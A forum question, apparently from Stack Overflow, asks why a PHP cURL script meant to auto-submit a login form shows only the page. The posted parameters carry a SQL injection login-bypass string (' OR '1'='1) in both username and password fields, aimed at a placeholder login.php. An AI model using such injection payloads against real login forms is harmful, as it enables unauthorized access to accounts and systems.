title: Webbot Auto-Submit form via php cURL
body: <p>I'm simply trying to automatically login to a login form via php and cURL</p>
  
  <p>I have:</p>
  
  <pre><code>&lt;?php
  # get url to form
  $url = "http://thesite.com/login.php";
  $ch = curl_init($url); # initialize that form
  
  #run value of $_POST variable in form fields from above url.
  $params = "username='' OR '1'='1&amp;password='' OR '1'='1&amp;login-php-submit-button=submit";
  
  ## set cURL options
  curl_setopt($ch, CURLOPT_POST, 1);  
  curl_setopt($ch, CURLOPT_POSTFIELDS, $params);  #set parameter $_POST fields
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
  $response = curl_exec($ch);
  
      if (!$response) {
          $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
          curl_close($ch); // make sure we closeany current curl sessions
          die(stripslashes($http_code.' Can\'t connect to server.'));
      }
  
  //curl_close($ch); // close curl session 
  
  
  ## echo the result from cURL 'ing
  echo $response;
  
  curl_close($ch);
  ?&gt;
  </code></pre>
  
  <p>When I visit this script it just shows the value of <code>$url</code> as if I just visited the URL, it doesnt show any error messages like "Wrong pass" or anything.</p>
  
  <p>I feel like <code>$params</code> may not be setup correctly here. I have tried relentlessly to try to get this to work. I currently have it setup where the setup for <code>$params</code> values are:</p>
  
  <p><em>formnameofinputvalue</em>=<code>valueToInputIntoFormElement</code>&amp;</p>
  
  <p>where <strong>&amp;</strong> separates each formInputName=formInputValue</p>
  
  <p>Anyone see what I am doing wrong here? Thank you.</p>